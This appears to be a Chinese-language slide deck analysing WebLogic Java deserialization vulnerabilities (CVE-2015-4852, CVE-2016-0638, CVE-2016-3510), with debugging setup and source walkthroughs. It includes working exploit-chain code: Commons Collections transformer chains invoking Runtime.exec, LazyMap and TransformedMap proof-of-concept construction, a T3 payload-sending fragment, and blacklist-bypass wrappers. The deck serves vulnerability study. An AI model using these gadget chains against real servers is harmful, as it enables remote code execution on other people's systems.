# Weblogic反序列化 从CVE-2015-4852说起

zjw

2018

- □远程调试weblogic
- □JAVA反序列化的由来
- ■Weblogic的反序化调试、分析与利用

### 远程调试weblogic (server端)

- 安装weblogic (vmvare, docker, local)
- 配置debug环境

• 启动weblogic

```
root@localhost:~/Oracle/Middleware/user projects/domains/base domain# ./startWebLogic.sh
JAVA Memory arguments: -Xms256m -Xmx512m -XX:CompileThreshold=8000 -XX:PermSize=128m -XX:MaxPermSize=256m
WLS Start Mode=Development
CLASSPATH=/root/Oracle/Middleware/patch wls1036/profiles/default/sys manifest classpath/weblogic patch.jar:/root/Oracle/Middleware/patch ocp371/profiles/default/sys manifest classpath/weblogic patch.jar:/root/
Desktop/jdk1.6.0 45/lib/tools.jar:/root/Oracle/Middleware/wlserver 10.3/server/lib/weblogic sp.jar:/root/Oracle/Middleware/wlserver 10.3/server/lib/weblogic.jar:/root/Oracle/Middleware/modules/features/weblogi
c.server.modules 10.3.6.0.jar:/root/Oracle/Middleware/wlserver 10.3/server/lib/webservices.jar:/root/Oracle/Middleware/modules/org.apache.ant 1.7.1/lib/ant-all.jar:/root/Oracle/Middleware/modules/net.sf.antcon
trib 1.1.0.0 1-0b2/lib/ant-contrib.jar:/root/Oracle/Middleware/wlserver 10.3/common/derby/lib/derbyclient.jar:/root/Oracle/Middleware/wlserver 10.3/server/lib/xqrl.jar
PATH=/root/Oracle/Middleware/wlserver 10.3/server/bin:/root/Oracle/Middleware/modules/org.apache.ant 1.7.1/bin:/root/Desktop/jdk1.6.0 45/jre/bin:/root/Desktop/jdk1.6.0 45/bin:/usr/local/sbin:/usr/local/bin:/us
r/sbin:/usr/bin:/sbin:/bin
 To start WebLogic Server, use a username and
  password assigned to an admin-level user. For *
  server administration, use the WebLogic Server *
  console at http://hostname:port/console
*****************
starting weblogic with Java version:
Listening for transport dt socket at address: 8453
java version "1.0.0_45
Java(TM) SE Runtime Environment (build 1.6.0 45-b06)
Java HotSpot(TM) 64-Bit Server VM (build 20.45-b01, mixed mode)
Starting WLS with line:
/root/Desktop/jdk1.6.0 45/bin/java -client -Xdebug -Xnoagent -Xrunjdwp:transport=dt socket,address=8453,server=y,suspend=n -Djava.compiler=NONE -Xms256m -Xmx512m -XX:CompileThreshold=8000 -XX:PermSize=128m
XX:MaxPermSize=256m -Dweblogic.Name=AdminServer -Djava.security.policy=/root/Oracle/Middleware/wlserver 10.3/server/lib/weblogic.policy -Xverify:none -ea -da:com.bea... -da:javelin... -da:weblogic... -ea:com
bea.wli... -ea:com.bea.broker... -ea:com.bea.sbconsole... -Dplatform.home=/root/Oracle/Middleware/wlserver 10.3 -Dwls.home=/root/Oracle/Middleware/wlserver 10.3/server -Dweblogic.home=/root/Oracle/Middleware/wlserver 10.3
wlserver 10.3/server -Dweblogic.management.discover=true -Dwlw.iterativeDev= -Dwlw.testConsole= -Dwlw.logErrorsToConsole= -Dweblogic.ext.dirs=/root/Oracle/Middleware/patch wls1036/profiles/default/sysext ma
```

#### docker

• DockerToolbox.exe(docker安装文件)

FROM qwertyz1981/weblogic 10.3.6


- docker-compose.exe
  - docker-compose.yml
  - Dockerfile
  - setDomianEnv.sh
  - docker-compose up
  - docker-compose stop

```
🔚 docker-compose.yml🏻
        weblogic:
          build:
            - "7001:7001"
            - "8453:8453"
```

2 COPY setDomainEnv.sh /root/Oracle/Middleware/user projects/domains/base domain/bin/setDomainEnv.sh


## 远程调试weblogic (host端)


- JAVA IDE
- ➤ Eclipse for Java (各种坑)
  - ✓ ECD
- ►IDEA (recommended)
  - **✓** NOTHING



## 远程调试weblogic (host端)


- 任意创建一个java项目(helloworld)
- 导入/Oracle/Middleware/modules所有文件
  - ✓ Eclipse:项目-右键-属性-Libraries-Add E Jars
  - ✓ DEA :File-Project Structure






## 远程调试weblogic (host端)

• 远程调试 ✓Eclipse






 $\times$ 

Run/Debug Configurations

- 下断点
- 启动weblogic
- 点击debug
  - ✓Eclipse 无反应
  - **✓**IDEA
- 发送payload



### 反序列化进化史

- 2015年11月6日,FoxGlove Security安全团队的@breenmachine
  - √ <a href="https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/">https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/</a>
- 2015年的1月28号,Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali的报告
  - ✓ <a href="https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles">https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles</a>
- 2015年的10月28号, HackPra WS 2015 https://www.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilities-in-java-54707478

### 影响巨大


- weblogic
  - ✓CVE-2015-4852
  - ✓CVE-2016-0638
  - ✓CVE-2016-3510
  - ✓CVE-2017-3248
  - ✓CVE-2018-2628
  - **√**.....

- <u>JBoss</u>
  - ✓ CVE-2016-8648
  - ✓ CVE-2016-9585
  - ✓ CVE-2017-12149
  - ✓ CVE-2017-7504

- Jenkins
  - ✓ CVE-2015-8103
  - ✓ CVE-2016-0792
  - ✓ CVE-2016-9299
  - **√** ......

#### JAVA IN THE HOUSE

- What is serialization?
  - ✓Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化
  - ✓Java 反序列化是指把字节序列恢复为 Java 对象的过程ObjectInputStream 类的 readObject() 方法用于反序列化



### 两个类

- Class java.io.ObjectOutputStream
  - ✓ Writes serialized data to an OutputStream
  - ✓ Has methods writeObject(), writeChar(), writeShort(), writeUTF(), etc.
- Class java.io.ObjectInputStream
  - ✓ Reads serialized data from an InputStream
  - ✓ Has methods readObject(), readChar(), readShort(), readUTF(), etc.

### 用法

Developers can customize how objects are serialized to bytes /deserialized from bytes

- Serializing
  - writeReplace() → Developer can provide a replacement object to be serialized
  - 2. writeObject()  $\rightarrow$  Full control over what will written to the stream
- Deserializing
  - 1. readObject() → Full control over what will be read from the stream
  - 2. readResolve()  $\rightarrow$  Replacing a deserialized object with another one

#### What's the issue?

- ObjectInputStream does not check which class gets deserialized
- There is no whitelist/blacklist which classes are allowed to get deserialized
- All serializable classes that the current classloader can locate and load can get deserialized
- Although a class cast exception might occur in the end, the object will be created
- User supplied input can be processed in readObject()/ readResolve()
- If a class does something "dangerous" in readObject()/ readResolve()
  it might get abuse

- MyObject类是一个序列化的接口
  - ✓实现了ReadObject ()
  - ✓ Magic bytes: ac ed 00 05

```
zzt@DESKTOP-H0G38C1:/mnt/d/java_workspace/SerializeTest$ xxd name.ser

000000000: aced 0005 7372 0008 4d79 4f62 6a65 6374 ....sr..MyObject

00000010: cf/a /5c5 5dba f698 0200 014c 0004 6e61 .zu.]....L..na

00000020: 6d65 7400 124c 6a61 7661 2f6c 616e 672f met..Ljava/lang/

00000030: 5374 7269 6e67 3b78 7074 0003 626f 62 String;xpt..bob
```

```
    ■ SerializeTest.java 
    □

<u>a</u>12
            // TODO Auto-generated method stub
            System.out.println("Serialze Test");
 14
             //This is the object we're going to serialize.
 15
            //String name = "bob";
 16
 17
            MyObject myObj = new MyObject();
 18
            myObj.name = "bob";
 19
 20
            //We'll write the serialized data to a file "name.ser"
 21
 22
            FileOutputStream fos = new FileOutputStream("name.ser");
 23
            ObjectOutputStream os = new ObjectOutputStream(fos);
 24
            //os.writeObject(name);
 25
            os.writeObject(myObj);
 26
            os.close();
 27
 28
            //Read the serialized data back in from the file "name.ser"
 29
            FileInputStream fis = new FileInputStream("name.ser");
 30
            ObjectInputStream ois = new ObjectInputStream(fis);
 31
 32
            //Read the object from the data stream, and convert it back to a String
 33
            //String nameFromDisk = (String)ois.readObject();
 34
            MyObject objectFromDisk = (MyObject)ois.readObject();
 35
 36
            //Print the result.
 37
            //System.out.println(nameFromDisk);
 38
            System.out.println(objectFromDisk.name);
 39
            ois.close();
 40
 41
 42
    class MyObject implements Serializable{
        private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFo
            in.defaultReadObject();
                                                      调用默认反序列化函数
            this.name = this.name+"!";
            Runtime.getRuntime().exec("calc.exe");
```

#### Thread [main] (Suspended)

MyObject.readObject(ObjectInputStream) line: 48

NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) line: not available [native method]

NativeMethodAccessorImpl.invoke(Object, Object[]) line: not available

DelegatingMethodAccessorImpl.invoke(Object, Object[]) line: not available

Method.invoke(Object, Object...) line: not available

ObjectStreamClass.invokeReadObject(Object, ObjectInputStream) line: not available

ObjectInputStream.readSerialData(Object, ObjectStreamClass) line: not available

ObjectInputStream.readOrdinaryObject(boolean) line: not available

ObjectInputStream.readObject0(boolean) line: not available

ObjectInputStream.readObject() line: not available

SerializeTest.main(String[]) line: 34

## Weblogic反序列化

- "集中火力干事业,钱都花在刀把上,不,刀背上"《西红柿首富》
  - ✓CVE-2015-4852
  - ✓CVE-2016-0638
  - ✓CVE-2016-3510
  - ✓CVE-2017-3248
  - ✓CVE-2018-2628

### Case-Study 1: <u>CVE-2015-4852</u>

- 利用 Weblogic 中的Commons Collections 库来实现远程代码执行
  - 问题函数主要出现在org.apache.commons.collections.Transformer接口
  - Input为要进行反射的对象,iMethodName,iParamTypes为调用的方法名,iArgs为对应方法的参数
- 利用工具
  - weblogic.py
  - ysoserial-0.0.6-SNAPSHOT-BETA-all.jar (生成payload)

```
final Transformer[] transforms = new Transformer[] {
              new ConstantTransformer(Runtime.class),
              new InvokerTransformer("getMethod", new Class[] { String.class,
                            Class[].class }, new Object[] { "getRuntime",
                            new Class[0] }),
              new InvokerTransformer("invoke", new Class[] { Object.class,
                           Object[].class }, new Object[] { null, new Object[0] }),
              new InvokerTransformer("exec", new Class[] { String.class },
                            execArgs), new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transforms);
```

#### ConstantTransformer

```
public static Transformer getInstance(Object constantToReturn) {
```

#### InvokerTransformer

```
package org. apache. commons. collections;

public interface Transformer {
    Object transform(Object var1);
}
```

```
package org. apache. commons. collections. functors;

#import ...


public class InvokerTransformer implements Transformer, Serializable {
    private static final long serialVersionUID = -8653385846894047688L;


    private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;


public static Transformer getInstance(String methodName) {
    if (methodName == null) {
        throw new IllegalArgumentException("The method to invoke must not be null");
    } else {
        return new InvokerTransformer(methodName);
    }
}
```


#### ChainedTransformer

```
public class ChainedTransformer implements Transformer, Serializable {
  private static final long serialVersionUID = 3514945074733160196L;
  private final Transformer∏ iTransformers;
public ChainedTransformer(Transformer[] transformers) {
     this.iTransformers = transformers;
  public Object transform(Object object) {
     for(int i = 0; i < this.iTransformers.length; ++i) {
       object = this.iTransformers[i].transform(object);
     return object;
```










#### • 哪些类调用了Transformer接口中的transform方法



## LazyMap构造POC

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap,

transformerChain);

```
public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
    private static final long serialVersionUID = 7990956402564206740L;
    protected final Transformer factory;

public static Map decorate(Map map, Factory factory) {
    return new LazyMap(map, factory);
}

public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory)
}
```

```
public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}
```

- 核心条件就是去寻找一个类,在对象进行反序列化时会调用 lazyMap的get(Object)方法,老外找到了 sun.reflect.annotation.AnnotationInvocationHandler
- 触发过程:
  - ✔AnnotationInvocationHandler默认实现了InvocationHandler接口,在用Object xxxx=Proxy.newInstance(classloader,interface,InvocationHandler)生成动态代理后,当对象xxxx在进行对象调用时,那么就会调用InvocationHandler.invoke(xx)方法,最终会触发transform方法执行
- https://www.jianshu.com/p/28286f460f1e (proxy动态代理)

```
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
  private static final long serialVersionUID = 6182022883658399397L;
  private final Class<? extends Annotation> type;
  private final Map<String, Object> memberValues;
  private transient volatile Method[] memberMethods = null;
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
   Class[] var3 = var1.getInterfaces();
   if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
     this.type = var1;
     this.memberValues = var2;
   } else {
     throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
```

#### memberValues=lazyMap

```
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
//this will generate a AnnotationInvocationHandler(Override.class,lazymap) invocationhandler
InvocationHandler invo = (InvocationHandler) getFirstCtor(
                "sun.reflect.annotation.AnnotationInvocationHandler")
                .newInstance(Retention.class, lazyMap);
//generate object which implements specifiy interface
final Map mapProxy = Map.class.cast(Proxy.newProxyInstance(this
                .getClass().getClassLoader(), new Class[] { Map.class }, invo));
final InvocationHandler handler = (InvocationHandler) getFirstCtor(
                "sun.reflect.annotation.AnnotationInvocationHandler")
                .newInstance(Retention.class, mapProxy);
setFieldValue(transformerChain, "iTransformers", transformers);
```

```
* object, which implements the interface {@link InvocationHandler}.
* interfaces will be dispatched to the {@link InvocationHandler#invoke
```

```
public Object invoke(Object var1, Method var2, Object[] var3) {
  String var4 = var2.getName();
  Class[] var5 = var2.getParameterTypes();
  if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
    return this.equalsImpl(var3[0]);
  } else if (var5.length != 0) {
    throw new AssertionError("Too many parameters for an annotation method");
  } else {
    byte var7 = -1;
    switch(var4.hashCode()) {
     switch(var7) {
    case 0:
      return this.toStringImpl();
    case 1:
      return this.hashCodeImpl();
    case 2:
      return this.type;
    default:
      Object var6 = this.memberValues.get(var4);
                                                                 if (var6 == null) {
         throw new IncompleteAnnotationException(this.type, var4);
       } else if (var6 instanceof ExceptionProxy) {
         throw ((ExceptionProxy)var6).generateExceptio
```

 final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

```
public static Map decorate(Map map, Transformer factory) {
   return new LazyMap(map, factory)
```

• Transformer transformerChain = new ChainedTransformer(transforms);

```
public Object get(Object key) {
    if (!super.map.containsKev(kev)) {
        Object value = this. factory. transform(key)
        super.map.put(key, value)
        return super.map.get(key)
```

throw new IllegalArgumentException("Factory must not be null")

protected LazyMap (Map map, Transformer factory)

super (map)

## TransformedMap构造POC

• 反序列化就会调用被序列化的对象的ReadObject函数

```
Transformer transformerChain = new ChainedTransformer(transforms);
Map innermap = new HashMap();
innermap.put("value", "value");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
Class\ cls = Class
               .forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, outmap);
return instance
```

```
private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
   s.defaultReadObject();
   // Check to make sure that types have not evolved incompatibly
    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
   } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
   Map<String, Class<?>> memberTypes = annotationType.memberTypes();
    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) { // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                 memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                       value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
```


```
blic static Map decorate(Lap map, Transformer keyTransformer, Transformer valueTransformer)
 return new TransformedMap(map, keyTransformer, valueTransformer)
blic static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) {
 TransformedMap decorated = new TransformedMap(map, keyTransformer, valueTransformer)
 if (map.size() > 0) {
     Map transformed = decorated transformMap(map)
     decorated.clear();
     decorated.getMap().putAll(transformed)
 return decorated
otected TransformedMap(Map map Transformer keyTransformer, Transformer valueTransformer) {
 super (map)
 this.keyTransformer 💉 keyTransformer
 this. valueTransformer = valueTransformer
```


```
readObject:335, AnnotationInvocationHandler (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:39, Nethod (java.lang.reflect)
invoke:39, Nethod (java.lang.reflect)
invoke:39, Object:396, ObjectStreamClass (java.io)
readOrdingn(Object:3775, ObjectInputStream (java.io)
```

# How to exploit?

- "钱都花在刀把上,不,刀背上"《西红柿首富》
- @breenmachine在blog中提到了关于weblogic反序列化的接口 ✓方式:通过抓取服务器停止过程中t3协议的数据包

```
root@us-l-breens:/opt/OracleHome/user projects/domains/base domain/bin# ./stopWebLogic.sh
     Stopping Weblogic Server...
     Initializing WebLogic Scripting Tool (WLST) ...
     Welcome to WebLogic Server Administration Scripting Shell
     Type help() for help on available commands
    Please enter your username :weblogic
     Please enter your password :
     Connecting to t3://us-l-breens:7001 with userid weblogic ...
     This Exception occurred at Thu Nov 05 18:32:46 EST 2015.
     javax.naming.AuthenticationException: User failed to be authenticated. [Root exception is java.lang.SecurityException: User failed to be au
15
    Problem invoking WLST - Traceback (innermost last):
      File "/opt/OracleHome/user projects/domains/base domain/shutdown-AdminServer.py", line 3, in ?
16
      File "<iostream>", line 19, in connect
17
      File "<iostream>", line 553, in raiseWLSTException
    WLSTException: Error occurred while performing connect: User failed to be authenticated.: User failed to be authenticated.
     Use dumpStack() to view the full stacktrace :
21
22
     Stopping Derby Server...
```






## How to exploit?

- Copy string start 0000
- Covert to hex
- Covert to base64

wcHBwAAAACqAAAAMAAAAAAAABqBwBv4BAACs7QAFc3IAHXdlYmxvZ2ljLnJqdm0uQ2xhc3NUYWJsZUVudHJ5L1JlqVf0+e0MAAB4cHIAJHdlY nxvZ2ljLmNvbW1vbi5pbnRlcm5hbC5QYWNrYWdlSW5mb+b3I+e4rh7JAgAISQAFbWFqb3JJAAVtaW5vckkADHJvbGxpbmdQYXRjaEkAC3NlcnZp /2VQYWNrWgA0dGVtcG9yYXJ5UGF0Y2hMAAlpbXBsVGl0bGV0ABJMamF2YS9sYW5nL1N0cmluZztMAAppbXBsVmVuZG9ycQB+AANMAAtpbXBsVmV c2lvbnEAfgADeHB3AgAAeP4BAACs7QAFc3IAHXdlYmxvZ2ljLnJqdm0uQ2xhc3NUYWJsZUVudHJ5LlJlqVf0+e0MAAB4cHIAJHdlYmxvZ2ljLm vbWlvbi5pbnRlcm5hbC5WZXJzaW9uSW5mb5ciRVFkUkY+AgADWwAIcGFja2FnZXN0ACdbTHdlYmxvZ2ljL2NvbW1vbi9pbnRlcm5hbC9QYWNr dlSW5mbztMAA5yZWxlYXNlVmVyc2lvbnQAEkxqYXZhL2xhbmcvU3RyaW5n01sAEnZlcnNpb25JbmZvQXNCeXRlc3QAAltCeHIAJHdlYmxvZ2l mNvbWlvbi5pbnRlcm5hbC5QYWNrYWdlSW5mb+b3I+e4rh7JAgAISQAFbWFqb3JJAAVtaW5vckkADHJvbGxpbmdQYXRjaEkAC3NlcnZpY2VQYWN WqAOdGVtcG9yYXJ5UGF0Y2hMAAlpbXBsVGl0bGVxAH4ABEwACmltcGxWZW5kb3JxAH4ABEwAC2ltcGxWZXJzaW9ucQB+AAR4cHcCAAB4/qEAAK ztAAVzcgAdd2VibG9naWMucmp2bS5DbGFzc1RhYmxlRW50cnkvUmWBV/T57QwAAHhwcgAhd2VibG9naWMuY29tbW9uLmludGVybmFsLlBlZXJJb ıZvWFR085vJCPECAAZJAAVtYWpvckkABW1pbm9ySQAMcm9sbGluZ1BhdGNoSQALc2VydmljZVBhY2taAA50ZW1wb3JhcnlQYXRjaFsACHBhY2th <u>2VzdAAnW0x3ZWJsb2dpYy9jb21tb24vaW50ZXJuYWwvUGFj</u>a2FnZUluZm87eHIAJHdlYmxvZ2ljLmNvbW1vbi5pbnRlcm5hbC5WZXJzaW9uSW5 <u>nb5ciRVFkUkY+AgADWwAIcGFja2FnZXNxAH4AA0wADn</u>JlbGVnc2VWZXJzaW9udAASTGphdmEvbGFuZy9TdHJpbmc7WwASdmVyc2lvbkluZm9Bc0 5dGVzdAACW0J4cgAkd2VibG9naWMuY29tbW9uLmludGVybmFsLlBhY2thZ2VJbmZv5vcj57iuHskCAAhJAAVtYWpvckkABW1pbm9ySQAMcm9sb luZ1BhdGNoSQALc2VydmljZVBhY2taAA50ZW1wb3JhcnlQYXRjaEwACWltcGxUaXRsZXEAfgAFTAAKaW1wbFZlbmRvcnEAfgAFTAALaW1wbFZ1 nNpb25xAH4ABXhwdwIAAHj+AP/+AQAAr00ABXNyABN3ZWJsb2dpYy5yanZtLkpWTUlE3EnCPt4SHioMAAB4cHdDIQAAAAAAAAAAAAkxMjcuMC4 vLjEACWxvY2FsaG9zdI01eVIAAAAHAAAbWf//////////////////////////j+AQAAr00ABXNyABN3ZWJsb2dpYy5yanZtLkpWTUlE3E CPt4SHioMAAB4cHccAQVuIKEhpIjYAAkxMjcuMC4wLjGDtXlSAAAAAHg=



```
import java.util.Base64;
import java.io.InputStream
                             10 public class DecodeObject{
import java.io.ByteArrayIn
                                     public static void main(String args[]) throws Exception{
import java.io.ObjectInput
                             12
                                         int skip=0:
import java.io.OptionalDat@ 13
                                         int remainder = 0;
import java.io.StreamCorru
                                         String b64 = args[0];
                              14
import java.util.Arrays;
                             15
                                         byte[] bytes = Base64.getDecoder().decode(b64);
                                         ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
                              16
public class DecodeObject{'
                              17
                                         int origSize = bis.available();
    public static void mai<sup>∂</sup>
                             18
                                         System.out.println("Data Length: "+origSize);
        int skip=0;
                             19
                                         Object o = null;
        int remainder = 0;
                              20
                                         while(o == null){
        String b64 = args[
                             21
                                             try{
        byte[] bytes = Bas
                             22
                                                 bis.reset();
        ByteArrayInputStre
                              23
                                                 bis.skip(skip);
        int origSize = bis
                             24
                                                 ObjectInputStream ois = new ObjectInputStream(bis);
        System.out.println
                             25
                                                 o = ois.readObject();
        Object o = null;
                             26
        while(o == null){
                             27
                                                 System.out.println("Object found...");
            try{
                             28
                                                 System.out.println(o.getClass().getName());
                bis.reset(
                                                 System.out.println("Bytes skipped: "+skip);
                              29
                bis.skip(s
                             30
                                                 System.out.println("Bytes left: "+bis.available());
                ObjectInpu
                o = ois.re
                            ■ Console 🛭 🖳 Problems 🗓 Debug Shell 🔗 Search 🐎 Call Hierarchy
                System.out
                            DecodeObject [Java Application] C:\Program Files\Java\jre1.8.0 171\bin\javaw.exe (2018年11月21日下午3:34:03)
                System.out
                            Data Length: 1457
                                                                           >>> int(0x5b1)
                System.out
                            Object found...weblogic.rjvm.ClassTableEntry 2 1457
                System.out
                            Bytes skipped: 110
                skip = ori
                            Bytes left: 1108
                            Object found...weblogic.rjvm.ClassTableEntry
            catch (StreamCo
                            Bytes skipped: 353
                skip = ski
                            Bytes left: 713
                bis.skip(1
                            Object found...weblogic.rjvm.ClassTableEntry
                            Bytes skipped: 748
            catch (Optiona
                            Bytes left: 192
                bis.skip(1
                            Object found...weblogic.rjvm.JVMID
                skip = ski
                            Bytes skipped: 1272
                            Bytes left: 75
            catch (ClassNo
                            Object found...weblogic.rjvm.JVMID
                            Bytes skipped: 1386
                System.out
                            Bytes left: 0
                System.out
```

- @breenmachine的做法
  - ✓用ysoserial payload替换第二个Object

```
object payloadObj = open(sys.argv[3],'rb').read()
payload='\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\xmm.
payload=payload+payloadObj
payload=payload+'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x.....
print 'sending payload...'
'''outf = open('payload.tmp','w')
outf.write(payload)
outf.close()'''
sock.send(payload)
```

## Case-Study 2: CVE-2016-0638

- 利用weblogic.jms.common.StreamMessageImpl的 readExternal()
  - ✓ <a href="https://github.com/5up3rc/weblogic\_cmd/blob/master/src/weblogic/jms/common/StreamMessageImpl.java">https://github.com/5up3rc/weblogic\_cmd/blob/master/src/weblogic/jms/common/StreamMessageImpl.java</a>
- 利用工具:
  - ✓ weblogic\_cmd.jar

```
public static Object streamMessageImpl(byte[] object)
  throws Exception
  StreamMessageImpl streamMessage = new StreamMessageImpl();
  streamMessage.setDataBuffer(object, object.length);
  return streamMessage;
public static Object selectBypass(Object payload)
  throws Exception
 if (Main.TYPE.equalsIgnoreCase("marshall")) {
    payload = marshalledObject(payload);
 } else if (<a href="Main.TYPE">Main.TYPE</a>.equalsIgnoreCase("streamMessageImpl")) {
    payload = streamMessageImpl(Serializables.serialize(payload));
  return payload;
public final void setDataBuffer(byte[] var1, int var2)
```

this.buffer = var1;
this.length = var2;

```
byte vrsn = (byte) (unmaskedVersion & 127); vrsn: 1 unmaskedVersion: 1
        this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)
        InputStream is = this.payload.getInputStream(); is: BufferInputStreamChunke
       ObjectInputStream ois = new ObjectInputStream(is); ois: ObjectInputStream@1
       } catch (EOFException var9) {
```

https://github.com/tdy218/ysoserial-cve-2018-2628/blob/master/src/main/java/weblogic/jms/common/StreamMessageImpl.java

```
白帽子
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
    super.readExternal(var1);
   byte var2 = var1.readByte();
   byte var3 = (byte) (var2 & 127);
   if (var3 >= 1 && var3 <= 3) {
       switch (var3) {
           case 1:
               this.length = var1.readInt();
               this.buffer = new byte[this.length];
               var1.readFully(this.buffer);
               ByteArrayInputStream var4 = new ByteArrayInputStream(this.buffer);
               ObjectInputStream var5 = new ObjectInputStream(var4);
               this.setBodyWritable(true);
               this.setPropertiesWritable(true);
               try {
                      this.writeObject(var5.readObject());
               } catch (EOFException var9) {
                   try {
                      this.reset();
                      this.setPropertiesWritable(false);
                      byte[] var7 = new byte[this.length];
                      System.arraycopy(this.buffer, 0, var7, 0, this.length);
                      this.buffer = var7;
                   } catch (JMSException var8) {
                      JMSClientExceptionLogger.logStackTrace(var8);
               } catch (MessageNotWriteableException var10) {
                   JMSClientExceptionLogger.logStackTrace(var10);
               } catch (javay imc MaccagaFormatEvention var11) {
```

```
get:157, LazyMap (org.apache.commons.collections.map)
invoke:77, AnnotationInvocationHandler
(sun.reflect.annotation)
entrySet:-1, $Proxy78 (com.sun.proxy)
readObject:444, AnnotationInvocationHandler
(sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:483, Method (java.lang.reflect)
invokeReadObject:1017, ObjectStreamClass (java.io)
readSerialData:1896, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
readExternal:1444, StreamMessageImpl
(weblogic.jms.common)
```

## Case-Study 3: CVE-2016-3510

#### • 原理

✓将反序列化的对象封装进了weblogic.corba.utils.MarshalledObject, 然后再对 MarshalledObject进行序列化, 生成 payload 字节码。反序列化时 MarshalledObject 不在 WebLogic 黑名单里, 可正常反序列化, 在反序列化时 MarshalledObject对象调用 readResolve 时对 MarshalledObject 封装的序列化对象再次反序列化,这样就逃过了黑名单的检查

```
⊕ ⊕ OSGI-INF
🗎 🌐 antlr
🖶 🤀 bea. jolt. pool. servlet. weblogic
e com

⊕ ⊕ adventnet

 ⊞ ⊞ asn1c
 🗎 🜐 bea
 ⊕ ⊕ beasys
 ⊕ ⊕ bluecast
 ⊕ ⊕ certicom
 m metscape, sasl
 ⊕ ⊕ octetstring
 m m oracle
 m oroinc. text. regex
 🗎 🌐 rsa
  🖶 🌐 sun
   payload
    ⊕ 🌇 BytesOperation. class
     ⊕ 🖟 Reflections. class
     ⊕ GerialDataGenerator
     ⊞ 🌇 Serializables, class
   ⊕ ⊕ ssl
   weblogic
     🗈 🔝 BypassPayloadSelector. class
     🕕 🚠 ObjectTest. class
     🕀 🦍 T3Test. class
      🗄 🔚 WebLogicOperation. class
   🕀 🔝 Main. class
```

```
public final class MarshalledObject
 implements Serializable
 private byte[] objBytes = null;
 private int hash;
  public MarshalledObject(Object paramObject)
    throws IOException
   if (paramObject == null)
      this.hash = 13;
      return;
    ByteArrayOutputStream localByteArrayOutputStream = new ByteArrayOutputStream();
   <u>MarshalledObjectOutputStream</u> localMarshalledObjectOutputStream = new <u>MarshalledObjectOutputStream</u>(localByteArrayOutputStream);
   localMarshalledObjectOutputStream.writeObject(paramObject);
    localMarshalledObjectOutputStream.flush();
    this.objBytes = localByteArrayOutputStream.toByteArray();
   int i = 0;
    for (int j = 0; j < this. objBytes.length; j++) {
      i = 31 * i + this.objBytes[j];
    this. hash = i;
```

```
public class BypassPayloadSelector

{
    private static Object marshalledObject(Object payload)
    {
        MarshalledObject marshalledObject = null;
        try
        {
            marshalledObject = new MarshalledObject(payload);
        }
        catch (IOException e)
        {
            e.printStackTrace();
        }
        return marshalledObject;
}
```

```
public static Object selectBypass(Object payload)
  throws Exception
{
  if (Main.TYPE.equalsIgnoreCase("marshall")) {
    payload = marshalledObject(payload);
  } else if (Main.TYPE.equalsIgnoreCase("streamMessageImpl")) {
    payload = streamMessageImpl(Serializables.serialize(payload));
  }
  return payload;
}
```

## readResolve()


#### • JAVA单例模式


- ✓ https://blog.csdn.net/u011499747/article/details/50982956/
- √https://www.cnblogs.com/345214483-qq/p/6472158.html

readResolve:53, MarshalledObject (weblogic.corba.utils)

